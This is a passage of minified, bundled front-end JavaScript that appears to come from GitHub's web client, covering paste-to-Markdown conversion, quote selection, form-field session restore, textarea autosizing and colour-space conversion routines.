s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let 